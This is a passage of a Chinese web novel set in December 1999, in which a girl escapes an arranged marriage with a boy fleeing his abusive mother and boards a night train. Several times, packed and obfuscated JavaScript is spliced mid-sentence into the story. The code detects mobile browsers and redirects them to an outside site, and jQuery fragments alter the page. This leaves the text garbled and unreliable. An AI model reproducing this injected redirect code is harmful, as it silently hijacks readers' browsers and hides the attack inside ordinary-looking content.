昌灵从袖子里露出半只眼睛,偷偷瞟了他一眼,最终实话实说道:“其实是我下午看见你了,想来问问你是不是去买票了。没想到那个人会突然想占我便宜,幸好你回来了。” 易阁听完皱皱眉,“你家里就给你找那样的?” “他原来是我三姐夫,三姐走了以后,家里不想退彩礼才让我嫁过去的。” “……你家就给你三姐找那样的?” 昌灵转头看了他一眼,嘴角微微上扬,“很好笑吧,他们给我姐姐说媒的时候,说这个人家里条件好,人也周正。” “周正?”易阁闻言仔细回想了一下那张肥胖的脸,半晌得出结论,“那媒人应该没好好上学,不知道周正具体怎么个意思。” 昌灵轻笑出声。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535002|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑什么,难道我说的不对吗。” “也许吧。” 易阁蹲在离她半米远的位置,百无聊赖地用刀尖划着地面。话题说完了,他又变回一言不发的状态。 袖口卡着半个蝴蝶结。 昌灵眨了眨即将被风干的眼睛,问:“所以你去买票了吗?” “买了。” “真的?”昌灵大喜过望,“给我看看。” “不行。” “为什么?” 易阁呼了一口气,才说:“等你准时去了车站我再给你。现在给了你,万一你转头就去跟别人说什么,我找谁说理去。” “我不会!”昌灵举起一只手保证道。 “反正也没几天了,我到时候再给你。” 昌灵心里着急,但易阁又是一副油盐不进的态度,她只好尽力表现一下自己。她迟疑片刻,指指易阁袖口的半个蝴蝶结,“你的绷带好像松了。” 易阁低头扫了一眼,说没事儿。 “这样不行吧?”昌灵说,“要不然我给你重新系一下?” 易阁动动手腕,没怎么犹豫就把胳膊伸到她眼前,“系好看点。” 昌灵想,人果然还是喜欢好看的蝴蝶结,易阁也不例外。 她身体背对着风来的方向,把易阁的胳膊置于身体和墙壁之间,小心翼翼地解开绕得乱七八糟的绷带,待看清伤况时还是惊得手一哆嗦。 ——被不知什么物件抽打的痕迹一条条肿得老高,宛如凹凸不平的丘陵,红得发紫,紫边带青,十分骇人。 易阁被她看的有些不自然,扭过头清清嗓子:“怎么,害怕啊?” 昌灵抿唇轻轻摇头,“药酒给我,还有新的绷带。” 易阁从包里摸出来一起丢进她怀里。 昌灵把他的胳膊放在自己的膝盖上,用力撕下了一块新的绷带,沾着药酒仔细擦在一条条‘丘陵’上。 “很疼吗?” 话一问出口昌灵立马觉得自己像个傻瓜,伤成这样怎么可能不疼呢。 易阁却说:“不疼,没什么感觉。” 这倒是实话,他已经习惯了。要不是今天被人撞那一下,这点伤还不至于抬不起来胳膊。 易阁绞尽脑汁想换点别的话题,不经意间低头一扫,恰好看见了昌灵滴在衣袖上的眼泪。他一愣,“你怎么又哭了?” 昌灵吸吸鼻子,头也不抬地说:“我才没哭。” “你鼻子都通红了。”易阁无情地揭穿她。 昌灵:“……我这是冻的。” 好吧,易阁撇撇嘴,随你怎么说。 半晌昌灵给他重新缠好了绷带,声音闷闷地说:“你不是很厉害吗,谁能把你打成这样?” 易阁:“……” 昌灵很识时务,“你不想说就当我没问。” 易阁把自己的袖子撸下来,也没说谢谢,只随意道:“没什么想不想说的,就我妈打的。” “你妈?”昌灵闻言瞪大了眼睛,“你亲妈?” “昂。”易阁起身踢了踢石子,“她有精神病。” 昌灵下意识跟着他站起来。 易阁:“怎么,又吓着了?” “没有,我不害怕。”昌灵回答。 易阁看着她笑了下,继续说:“我妈好的时候会抱着我哭,一犯病就打我。 “我不想责怪她,又忍不住怨她。 “这样反反复复下去,恐怕我也要变成精神病了。 “所以我要逃跑,很合理吧?” 8. 1999 1999年12月30日,距离千禧年还有三十六小时。 - 昌灵背着书包往家属楼顶楼走,昨天晚上和易阁说好了今天要来给他换药。 不过更让昌灵高兴的是,今天王德富没有去家里找她。也就意味着,今天一整天,她都是自由的。 这是昌灵第二次来顶楼,与上次不同的是,易阁没再给她敲门前做心理准备的时间,这次的门大敞着。 他也不嫌往里灌风。 昌灵抿抿唇角,还是很有礼貌地敲了两下门,半天都没有人应声。 “易阁?你在吗?”昌灵迈了一小步,试探着说,“那我进来了?” 昌灵刻意加重了脚步,客厅很小,粗略扫一圈就知道没人在。她的视线最终落在半掩着的房间门上,易阁不会在睡觉吧? 想到这她回头看了一眼才被自己带上的房门,这人就这么大开着门在里面睡觉?心可真是够大的。 来到房间门口时昌灵本想再敲敲门,谁成想门的轴承很松,手刚挨上去,它就自己颤颤巍巍打开了。 同时还伴随着咯吱咯吱的响声。 昌灵:“……” 易阁闻声回过头,也没见多惊讶,“你来了啊,怎么不出声。” 昌灵站得笔直,替自己辩解道:“我敲门了,还叫过你。” “是吗?没听见。”易阁忙着往帆布包里塞衣物,又补充说:“你说话声音比小猫叫大不了多少,谁能听得见。” “……” 昌灵:那是你耳朵不好使。 她低头看着易阁收拾行李,忍不住说:“你有这么多要带的东西?” “这还多?”易阁单膝压住拉链口,用力把帆布包塞紧,“都是些换季的衣服,这幸亏是冬天,棉袄能穿在身上不占地方。” 昌灵揪着自己的书包背带,“我就只有一个书包,多了会被他们发现的。” 易阁抽空瞥了她一眼,见人背着书包,问道:“你这是已经收拾好了?这么早背出来?” “当然不是。” “那你大中午背个书包干嘛?又跟那个胖子去买东西?” “……”昌灵闻言嫌弃地皱皱眉,半晌无奈地否认道,“也不是。” 易阁停下来手里的活计等着她说下文。 这事也没什么不能说的,昌灵轻轻叹了口气:“我这不是要走了吗,想去东山看看我三姐。 “以前她还没结婚的时候,跟我关系最好。” 也是这个家里第一个告诉她,离开这里,就不要再回来了的人。 易阁说:“那是该去看看。” 昌灵点头,“所以我先给你上药吧?你一会儿再收拾。” “行,那你进来吧,别碰到地上的东西。” 地上?昌灵低头仔细看,一盒盒磁带整齐地码在她腿边。 “啊!”昌灵没见过这么多,新奇得睁大了眼睛,蹲下身体欣喜道,“这些都是你的?” “嗯,不过带不走了。”易阁说,“你喜欢这些?等到了雁……” 他忽然噤了声。 昌灵没听清,“嗯?你说什么?” “没什么,等以后赚了钱再重新买就是了。” 昌灵摸摸这些磁带盒子,想了想说:“算了吧,哪有那么多闲钱买这些呀。” 易阁没答话。 昌灵把自己的书包放下,接过易阁手里的药酒,“你坐床边吧,我不会滴到床单上的。” 易阁想说滴到也没事,反正睡不了两天了。但他想到自己买的两张不同目的地的火车票,莫名有些不敢看昌灵的眼睛,也不知道怎么接她的话。 等昌灵系好一个全新的、长短不一的、四角乱飞的蝴蝶结,易阁忽然鬼使神差地说:“要不我陪你一起去东山吧?” 昌灵一愣,片刻后扭紧了药酒的盖子,语气里带着一丝丝疑惑:“你陪我一起?” “昂。”易阁动作麻利地穿好衣服,“等你下山天都快黑了,你是不害怕了,我还怕我的车票钱打水漂呢。” 昌灵:“……” 难道她还会被狼叼走不成?昌灵小声嘀咕道,没让易阁听见。 但不管怎么样,昌灵心里都是高兴的。无论去什么地方,有人愿意陪着她总是好的吧? ** 事实证明,两个不爱说话的人出行就像两个在做平行运动的雕像,除了埋头前进,并没有多余的语言交流。 昌灵默默把这种现象归结于天寒风大,正常人都不会想吃一嘴土。 易阁倒是没觉得别扭。 东山算是半个荒山,除了附近村落的坟茔之外没有其他东西。昌灵只知道姐姐墓地的大概方位,外嫁女儿去世,娘家妹妹是不被允许一起祭拜的。出殡时昌灵跟着大部队只能送到村口,但她悄悄走了小路跟着寥寥几人的送葬队伍,在远处为三姐哭了一场。 王家那些人都没掉眼泪。 越往上走坡越陡,易阁抢先一步爬上去,回身拉了昌灵一把。 昌灵小声说“谢谢”。 易阁把手揣回口袋里,仰着头:“还往上?王家的坟可够高的。” 东山上每块坟地的位置都有讲究,有说位置越高风水越好,所以谁家占到高处的位置,也就意味着在村子里的地位也更高。 昌灵没什么异议:“要不然我们家怎么会愿意嫁两个女儿过去呢。” 易阁闻言看了她一眼,片刻后问道:“你恨他们吗?” 恨他们?昌灵扪心自问,是恨过的。 恐怕没有人会不恨吧? 但恨不能带给她任何帮助,只能平添痛苦,所以昌灵不常想起他们。不是忘了,只是不想。 她难得笑了下,轻声说:“只要我能逃出去,我会当他们全都死了,不会去想,也不会原谅。” 易阁也笑,“这样也挺好。” “走吧,继续往上。” 易阁每迈到下一处平地上,都会照旧回身拉她一把,一直到王家的祖坟附近。 昌俪的墓碑在一众王姓的最下方,易阁走马观花路过时没瞧见,还是昌灵眼神好,紧急叫住了他。 不用昌灵开口,易阁很自觉地往远处走了走,缩着脖子找了块干净石头坐下。剩昌灵一个人蹲在墓碑前,伸出手指抚摸着‘昌俪’的名字。 姐姐,对不起啊,这么晚才过来看你。 石碑冰冷,指尖触碰到的不再是姐姐的温度。这段时间压抑的情绪骤然决了堤,昌灵终于可以毫无顾忌地放声痛哭,在姐姐‘面前’。 易阁盯着脚边的枯草没有抬头,他的手臂已经好了很多,只希望昌灵的伤口也能尽快愈合。 天色变暗,哭声渐弱。 易阁估摸着再拖一会儿下山时天就黑了,有心催一催她,才往昌灵的方向看过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535003|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 女孩抱着膝盖蹲在墓碑前,她身高不算矮,缩起来却也是小小一团。易阁心里倏地一跳,油然生出一种话本里才有的英雄主义。 这一刻,他仿佛接收到了昌灵释放的求救信号,浑身上下都写着‘救救我吧’。 易阁喉头发紧,偏头清清嗓子才说:“喂,我们该走了。” 昌灵听到他的话,缓缓站起身,摸着昌俪的墓碑,同她道别: “我要走了,大概不会再回来了。昌俪,如果你在天有灵,记得要保佑我。” 保佑我一切顺利,逃离这里。 ** 昌灵和易阁是在半路分开的,昌家和卫生室不在同一个方向,并不顺路。 时间不算晚,昌灵不需要人送。当然,易阁也没有要送她的意思。 昌灵闷头小跑了几步,易阁收拾了那么多东西,她也要回去准备准备才行。 原本还算畅快的心境在看到昌家大门的瞬间散了个干净。 忍过今天就好了,昌家安慰自己道。 她理了理跑乱的刘海,面无表情推开了家门。 “老四回来了啊。”正屋坐着的老太太不阴不阳睨了她一眼。 昌灵不得不跟她打招呼,“奶奶。” “放下东西赶紧去厨房帮帮你嫂子,也不知道今天几点才能吃上饭,磨磨蹭蹭的。” 昌灵刚想应下,只见昌母推开房间的窗户,招招手示意她过去。 昌灵不明所以,但还是先进了母亲的房门。 “妈,怎么了。” “来。”昌母举起手里的毛衣给她看,“过来试试。” “给我的?” “我和你嫂子,用她的旧衣服拆了改的,你比她瘦点,但应该是合身的。” 砖红色的开衫毛衣,订了几颗黑扣子。昌灵捏了捏毛衣袖子,是软的。 昌母惋惜道:“赶得急,也没给你准备更好的。” “没关系,已经很好了。”起码是为了她专门做的,不是捡几个姐姐剩下的来穿。 “没想到你也这么快嫁人了,妈真是对不住你。”昌母说着就要落泪。 昌灵心里叹气,挨着母亲坐下,“妈,我心里明白的。在这个家里,最受委屈的人是你,所以我不怪你。” “灵灵……” 希望你以后也不要怪我。 她继续说:“我走了以后,家里就剩下小弟,奶奶最疼他,你只要哄住了他,让他帮你说话,奶奶也没办法把你怎么样。” 昌母呆呆地看着她。 “不要想着爸爸能为你说话,他不是能依靠的人,小弟还小,只要好好教育他还能变好。 “大嫂也是好人,你要是心里委屈,可以找她说说话。” “灵灵,你怎么……” “我不管是在家还是在哪儿,都会照顾好自己,你不要担心我。” 也不要让我担心。 “说句大逆不道的话,奶奶还能活几年?你多顾着点自己,知道吗?” 昌母抹掉脸颊的眼泪,半晌后点点头,哽咽着说:“我知道了。” 这大概是她与母亲有生以来最温情的时刻,背景却是昌灵无法诉诸于口的告别。 约莫过了半个小时,大嫂过来敲敲房门说,可以开饭了。 昌灵应声说好,随即攥了下母亲的手,叮嘱道:“饭也要好好吃。” 9. 1999 1999年12月31日,距离千禧年还有十八个小时。 - 天刚蒙蒙亮,气温比昨天更低,好在风很小。昌灵今天醒得很早。 她蹲在床边把糖果盒子里的钱全都倒出来,纸币夹到了几本书里,硬币分别放在了书包的各个角落,只留几块钱放在毛衣胸前的口袋里应急。 易阁说得对,幸亏现在是冬天,厚衣服都能套在身上,穿上新毛衣之余,里面还能多套两件短袖。至于其它的,这个家里属于昌灵的东西原本就不多,她挑了些不起眼的小物件,和身份证一起塞进了书包里。 收拾完东西,昌灵给自己认认真真烧了一整壶热水,舒舒服服洗了一个热水脸。 水倒在院子里,顿时升起了一片迷蒙的白气。 “老四!你倒了多少热水!”老太太坐在炕上醒神,猛然看见这一情景叫嚷着捶了下玻璃。 昌灵对此习以为常,转身回房间背上书包。她深呼一口气,今天的每一分、每一秒、每一个环节,对她来说都至关重要。 老太太的一通嚷嚷吵醒了昌家大半人,昌灵进正屋时,门口已经堆了不少人排队等着洗脸。 弟弟哭着喊着说“我不洗”,被母亲硬生生拖到脸盆边上。 大嫂看见她明显愣了一下,片刻后才笑着说:“灵灵穿这件真好看。” 大哥闻言紧跟着扫了一眼,“年轻呗,穿什么都好看。” 昌灵听懂了他的言外之意,好看的只是年纪而已。 昌父蹲在门口抽烟,不参与这个话题。 自打那一巴掌之后,他没和昌灵说过一句话。亲生父女相看两厌,想来也是可悲又可怜。 昌灵回看了大嫂一眼,低下头进到了里间:“奶奶。” 老太太眉头紧锁,“你今早上干什么?要嫁人了就能浪费昌家的水了是吧,反了天了。” 昌灵自动忽略了她的话,按部就班地说:“能不能把王德富的电话号码给我?” “你要他电话干嘛?”老太太十分警惕。 外间排队的人听到‘王德富’的名字从昌灵口中说出来,脸也顾不上洗,挪着脚步凑近了看热闹。 昌灵:“我们班同学约好了今天晚上一起去镇上看烟花,太晚了我不好回来,想让他跟我一起。” 大嫂讶然:“你和王德富一起?” “嗯,要不然我回不来。” 老太太眯着眼睛上下打量着她,“还知道穿个新衣服呢。” 昌灵:“所以能给我电话吗?” “在我那个本子上,自己抄去吧。” 她把号码叠好装进口袋里,“那我去村口打,早饭我装两个饼走。” 老太太:“行,快去吧。” 临出门前,昌灵少见地对着母亲和大嫂笑了一下,“妈,嫂子,那我走了。” 昌母:“去吧,路上注意安全,看烟花也注意安全。” 她刚要点头,大嫂突然出声道: “你等等!” 昌灵蓦地看向她。 只见大嫂面色凝重,眼神里夹杂着很多复杂的情绪,像是有人在她耳边猛地敲了下钟鼓。昌灵想,嫂子应该是猜到了。 她掐了下手指尖,尽量保持镇静:“嫂子还有什么事吗?” 大嫂快步走到她身前,沉吟良久,才说:“你说要去打电话,带钱了没有啊?” 昌灵一下子没听懂她的话,犹豫着回答:“带了……我不知道够不够。” “你等等,我去给你找两块钱。” “老四连两块钱都没有?”大哥听完失了兴趣,弯下腰继续给自己试水温。 小弟拉着母亲往厨房走,“我不要吃昨天剩下的那个饼了。” 昌灵独自站在房门口,发现自己有些格格不入。这个家缺了她,好像并不耽误什么。 大嫂回来得很快,没等昌灵说话,她一把挽住昌灵的胳膊往外走,朗声道:“打电话的时候语气要好一点知道不知道?” 昌灵:? “不要怕浪费电话钱,不能让王家觉得我们连个电话都打不起,看轻了你。” 昌灵:? 大嫂说着把钱塞进她的毛衣口袋里,顺势把人推出了院门,“快去吧,一路平安。” 昌灵疑惑地眨了下眼睛。 大嫂摆摆手催促道:“快去啊,快走吧。” 昌灵云里雾里地走出巷子,才想起要摸出口袋里的钱看一看,待看清后又忙不迭塞了回去。她用力咬着嘴唇,脚步越来越快。 村口的电话亭已经开门了,附近围满了买热豆浆的人。 “呦,昌灵啊,今天要给你弟买豆浆?” “不买,叔,我打个电话。” “打打,电话在这呢,会拨号吗?” 鸡鸣狗叫,炊烟袅袅,一如西乡的每一个清早。 挂掉电话后,昌灵仰起脸看着远处的群山环绕。 好山好水。 自己永远都不会再回来了。 大嫂塞在她口袋里的,才不是什么两块钱,而是两张崭新的五十元。 ** 九九年的最后一天,同学们都格外兴奋。一节课下来,老师要多拍好几次桌子来维持纪律。 大家都趁着老师写板书的时间交头接耳。 “昌灵,你放学到底去不去镇上呀?”同桌拿笔戳戳她的胳膊,小声问,“要不要我带你?” “去。” “真的?要不你骑我车带我吧?坐前面吹得脸可冷。” “有人和我一起,可以让他带你。” “嗯?”同桌顿时瞪大了眼睛,“谁啊?” 昌灵闷头记笔记。 “不是吧昌灵,你真要带你对象?”同桌说完夸张地张大了嘴巴。在她看来,昌灵不回答就是默认了,“哎!她们会笑话死你的!” 昌灵叹了口气,盖上笔帽,“那你愿意帮我一个忙吗?” 同桌眨眨眼,半晌才惊恐地问道:“什么忙?把她们眼睛戳瞎啊?” 想什么呢?“……当然不是。” “那是什么?”同桌转念又说,“但是,我为什么要帮你呀?” “我可以告诉你,你最想知道的事。” 同桌不明所以地指指自己,“我?我最想知道什么事?” “易阁的女朋友,我见过她。” “真的假的?!” “闭嘴!谁再说话滚出去!”老师的粉笔头准确无误砸在她们二人面前。 同桌猛地低下头捂住嘴巴,等‘风头’过去才扯着昌灵的衣服小小声说:“真的假的呀?你别骗我。三哥真处对象了?” “你愿意帮我了吗?” “……那你也得先说帮什么呀!” 昌灵点到为止,“到时候你就知道了。” “他对象是我们学校的吗?我认识吗?啊?你先别写了……” ** 整栋楼的学生几乎都是踩着下课铃的鼓点声鱼贯而出,嬉笑打闹,青春洋溢。 昌灵稍慢一步,就变成了最后离开教室的人。她把棉袄拉链拉到最顶部,刚好遮住下半张脸。 想起刚才课堂上同桌的反应,昌灵藏在衣领下的嘴角弯了弯。反正易阁也要走了,应该不会跟她计较这点小事吧? 看烟花的大部队应该是一起出发,但昌灵出校门时没遇到他们。倒是王德富,站在校门中央,臃肿的身躯敦实地压在昌灵点名要骑的自行车上。 早上王德富接到她的电话时还在睡觉,如昌灵所料,听她说晚上可以一起看烟花顿时清醒了不少,生怕昌灵反悔似的急忙应下。 可是昌灵不会开车,就需要王德富提供其它的交通工具。至于不开车反而要骑自行车,她也给了合理的说法: “我本来就是跟同学们说好的,大家都骑自行车,我不想搞什么特殊,你如果非要开车那还是不要去了。” 照现在看,王德富的自行车承受的还是太多了。 她敛下眼睫收起了毫不掩饰的嫌弃,朝着王德富走近。 “灵灵,放学了啊。”王德富刚一看见她就从自行车上滑下来,拍拍车座说,“等你老半天了。” “那走吧。”昌灵说着就往后座走。 “哎灵灵。”王德富又拍拍前面的横梁,笑容谄媚,“要不你坐这儿吧?” 昌灵搬出自己今天刚学会的借口:“坐前面吹得脸很冷。” “……啊?” 昌灵:“还是你原本就想让我给你挡风?你不会这么做吧?” 王德富进退两难,尴尬地笑了下。 昌灵如愿坐在后座上,双手紧紧抓着固定座位的结构管,和王德富一起慢慢悠悠上了路。 王德富:“灵灵,你坐不稳吧?抱着我腰安全。” 昌灵扫了一眼上下一样粗的身躯,没说话。 “灵灵?”半晌也不见她回话,王德富只好悻悻地闭了嘴。 从西乡去镇上只有这一条路,又是放学的时间,稍微有些拥堵。 昌灵四处寻找人群里有没有熟悉的身影,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535004|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后失望地垂下头,没有。下楼之前她刻意从三班门口路过,易阁不在,现在也没见到。 他难道已经去火车站了吗?昌灵想,既然说着不想车票钱打水漂,那为什么不能等自己一起呢? 正当她神游天外之际,身后突然响起了一阵急促的车铃声。昌灵骤然来了精神,欣喜地回头看—— “昌灵,还真是你呀?大老远我还以为自己看错了呢。” “……” 是那天水房门口的女同学。 “你也要去镇上吗?”女同学跟王德富并排着骑车,语气夸张道:“这位大叔是谁呀?不会是你对象吧?” 王德富‘哎’了一声正要回话,昌灵突然抬头直视着她的眼睛,说:“你那天不是说有人带你去吗,怎么现在自己一个人。” “我……” 见人答不上话,昌灵这才慢悠悠地把视线从她脸上移开。 “我、我们约好了镇上见,你知道什么!” “是吗,那你可得快点了。”昌灵说,“我刚看到他带了另一个女生。” 女同学闻言自行车蹬得飞快,超出去五米还不忘回头瞪昌灵一眼。 王德富:“你们这些小女孩真有意思,看她那个小细腿,蹬起来真有劲儿。” 昌灵觉得恶心。 ** 王德富久不运动很快没了力气,等到了镇广场时这里已经聚集了很多人,同桌正在人群外围焦急地等着昌灵。 王德富双手撑着膝盖气喘吁吁,昌灵背好书包朝他伸出手,“钥匙给我吧,我帮你锁车。” 王德富求之不得,抬手把钥匙丢给她。 “昌灵!你们怎么才来,前面都要没位置了。”等她锁完车,同桌刚好逆着人流挤过来,看见宛如石墩子的王德富,尬笑着打招呼:“大、大哥,你好。” “哈哈,你好啊。” 同桌跟昌灵使了使眼色,“快走吧,我让他们在前面占了位置的。” 王德富:“啊?还要往前?” “是啊大哥,你块头大,在前面给我们开开路呗。” 王德富很吃这套,哈哈笑着往前走。 同桌继续说:“大哥,那边,最前面,人有点多哈。” “小事,你们跟紧我。” 同桌拉着昌灵的手跟在王德富后面,刻意放慢了脚步。 “大哥你快点啊,我们要是去晚了他们就把位置给别人了。” “行!”王德富越发起劲地往前挤,很快和她们拉开了三四个人的距离。 同桌这才放开昌灵,“我帮你引开他了,你快点告诉我三哥的女朋友是谁。” 昌灵拉开她的斜背包,快速扔了张纸条进去,“等到了有光的地方再看吧,你继续跟在他后面说话,别让他发现我不在。” “你要去哪?” “他非要缠着我看烟花,这么好的日子,我不想和他一起。” 同桌半信半疑,片刻后说:“……好吧。” “谢谢你,能帮我多拖一会儿是一会儿。” 说完昌灵矮下身体,朝着来时的方向回去。自行车就在眼前,她快速解开链子锁,与人潮背道而驰。 新世纪前的最后一股旧风从她耳边呼啸而过,昌灵脸冻得发麻,掌心却是滚烫如火。 快一点,再快一点。 只要赶到火车站,自己就能开始全新的人生,没有令她痛苦的家人,没有王德富。 脚上动作飞快,昌灵觉得自己浑身的血液都沸腾起来,这十七年里,她第一次感到痛快。 彻彻底底、无拘无束的痛快。 如果不是风太大,她真的很想放声呐喊。 直到火车站的牌子出现在眼前,昌灵忽地腿一软,连带着自行车一起侧歪。 真没劲儿了。 摔就摔吧,躺地上再爬起来。 天翻地覆间,昌灵已经做好了决定。可预想中的疼痛并没有到来,有人拎着她的领子用力拽了一把,昌灵的身体不受控制地扑进了一个温热的怀抱里。 她讷讷地抬头望,易阁线条清晰的下颌骨近在咫尺。片刻后他动了动嘴唇: “抱够了没?” “……不好意思。”昌灵低下头从他怀里退出去,站稳了身体。 易阁把手揣回兜里,视线落在别处,“来得还挺早,饿不饿,我带了馒头榨菜。” 昌灵下意识举起一只手,反应过来又不好意思地放下,语气里难得带着笑意:“我也带了。” “行,进去吃吧。” 10. 1999 车站大厅正中央的钟表显示,现在是北京时间晚七点五十分。 昌灵好奇地四处张望,半晌搓搓自己冻僵的双手,问易阁:“我们是几点的车?” 我们。 “八点四十。”他回答道。 “那……车票能给我了吗?” 易阁闻言垂眸盯着她,“你害怕我不给你?” 昌灵诚实地点点头。 “……”他一时有点接不上话。 昌灵看着不远处的黑板,自言自语道:“八点四十发车的话,我们是到雁山吗?” 又是我们。 “什么?”易阁装作没听清,转移话题说:“你不是饿了吗,我们先找个椅子坐下吃点东西吧。” “哦?好。” 昌灵已经饿到极点了。从日历翻到这一页开始,她紧张到几乎一整天都没吃什么东西。加之刚才又蹬了半天自行车,体力早已透支干净,现在全靠一口仙气儿吊着。 排椅上人很多,两个人在横七竖八的行李堆里勉强找了个容身之处。虽然没有贵重物品,但昌灵还是把包搁在自己腿上,地面太脏了。 易阁从他背包里拎出一个塑料袋,里面装着四个馒头。昌灵刚想伸手说谢谢,却被易阁一个侧身躲了过去。 “你等等。”易阁说着掰开了一个馒头。 昌灵:? 易阁手大,两半馒头平铺在他手里显得很小。只见他不知从哪又摸出一袋榨菜,咬着包装袋撕开,不由分说地塞进昌灵手里。 “倒上。” 原来是想做个简易夹饼。 昌灵自然没有异议,就算只让她啃馒头也可以,更何况还有配菜。 “不过,”昌灵拿到今天的第一餐,小口小口咀嚼着,“我们要坐多久的车?” ……又绕回来了。 易阁不知道该怎么告诉她说我们不是同一个目的地,因为昌灵眼里始终流露着一种他无法描述的期待与渴望。 现在告诉她,恐怕这人会在这儿哭出来吧? 那太麻烦了。 “你管这个干嘛。”易阁说,“快吃吧,一会儿该上车了。” 昌灵闻言低下头去默默吃饭,除了榨菜的清脆之外,她没有发出一点声响。 像只沮丧的流浪猫。 注视了她片刻的易阁猛然惊醒—— 你在想什么呢?! 他晃晃脑袋看向别处,终止了自己的奇思妙想。 检票站的队伍排得很长,工作人员举着喇叭来回重复道:请大家看好自己发车时间,不是这一车次的乘客不要着急检票,先靠后站。 昌灵这才拿到属于她的那张车票,待她看清上面的字,问道:“荣田站?这是哪里?” “不知道啊,随便买的。” 昌灵听完看了他一眼,接着伸长了脖子向远处的黑板张望,说:“我刚才看的时候,没看到这个站。” “……有吧,应该是你看漏了。” “你的车票呢?” “兜里,往前走啊。”易阁推推她的肩膀。 昌灵只好把身体转回去跟着队伍挪步,心里却打了个问号。 好像有哪里不对劲。 ** 这是昌灵第一次见到绿皮火车实物,不是课本上的黑白图片。顾不得车皮冰凉,她伸出手小心地摸了摸,想要记住这个触感。易阁扫了一眼她这个看起来有些蠢的举动,到底也没说什么。 车里要比外面暖和许多。 易阁把自己的大包放到头顶的行李架上,又客气地问昌灵需不需要帮忙。昌灵摇摇头,把包放在面前的桌子上,搁在看不见的地方她不放心。 桌子不算大,但对面的乘客没有放什么东西,所以很空。可昌灵还是只占了很小的一角用来放书包,给其他人留了大半的空地。 西乡站只是个小站点,停靠的时间不长。伴随着汽笛声响起,车窗外的景物开始缓缓倒退,昌灵一直提着的心才逐渐落回胸口的位置。 这是真的要走了,不是在做梦。 易阁心里也松了一口气,随手把剩下的馒头搁在桌子上,抱臂靠在椅背上假寐。 椅背是垂直的,怎么坐脖子都不舒服。 昌灵则是身体前倾,一只手搭在窗檐上,目光飘得很远。 火车驶离西乡站台,漆黑夜幕下显露出的是大片广阔无边的麦田。昌灵忽地鼻头一酸,眼泪不受控地啪嗒啪嗒往下掉。她没有抬手擦,任由窗外的麦田上不断清晰又重影。 风一过,麦苗轻轻摇晃。 直到余光里出现一块突兀的白,昌灵才回过神来,她有些怔愣地看着伸到眼前的手帕纸,纸的另一端捏在对面的乘客手里。 半晌后昌灵慌乱地接过来,口中小声说着‘谢谢’。 说完又下意识看向身边的易阁,很显然易阁是听到说话声才半睁开眼,眼神在她的脸、手和对面的人之间来回扫了两圈,又默不作声地躺了回去。 昌灵收回目光重又跟对面的人说“谢谢”,眼泪印在手帕纸上,已经冷掉了。 待到这张纸湿透,眼前又适时地递过来一张新的,继而昌灵听到对方问:“我看你刚才还挺开心的,怎么哭了?” 昌灵惊慌地抬眼看,神情中带着一丝丝戒备,说话的是位三十岁左右的女士,身旁还有位一直在看手机的男士,昌灵猜测这是她的丈夫。 “我没事。”她低声说。 “我看你年纪很小,跟人私奔啊?” 昌灵闻言微微睁大了眼睛,又下意识看向易阁。而后者,正警惕地望着对面的人。 “随便说说而已。”姐姐笑着摊开手。 没等易阁做什么反应,她身边的男人先伸手把她的胳膊摆了个位置,舒服地靠了上去,说:“消停点吧小祖宗,别吓到孩子了。” 小祖宗…… 昌灵有点怀疑自己的耳朵,她在家里从没听到过这种话。 “玩儿你的贪吃蛇吧,游戏都堵不上你的嘴。”姐姐语气嫌弃,但身体却没移动。 举止亲密,应该是夫妻无疑了。 由于过分好奇,昌灵的注意力毫不遮掩地落在对面二人身上,自然而然被人逮了个正着。姐姐笑容开朗,带着一种无法让人拒绝的吸引力,她说:“小妹妹,相遇就是缘分,要不我给你算一卦吧,很灵的。” 昌灵:“……算卦?” “嗯,不要钱。” “不要钱的能靠谱吗。”她丈夫幽幽道,“孩子,你可别被人骗了。” 姐姐:“……” 昌灵:“……” 易阁轻哼一声,调整了坐姿重新闭上眼睛。这两个人应该不是坏人,让他们跟昌灵说说话也挺好,省得她一直哭个不停。 姐姐没跟身边的人计较,微笑道:“试试吧妹妹?闲着也是闲着。” 昌灵懵懂地眨眨眼睛,而后点头应下了。 闲着也是闲着。 “想算点什么?”姐姐说着瞥了易阁一眼,挑了下眉尾。 昌灵看懂了她的暗示,尴尬地抿抿嘴,“都可以,你想算什么都可以。” “学业?金钱?命运?感情?”她把选择的权利又还给了昌灵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 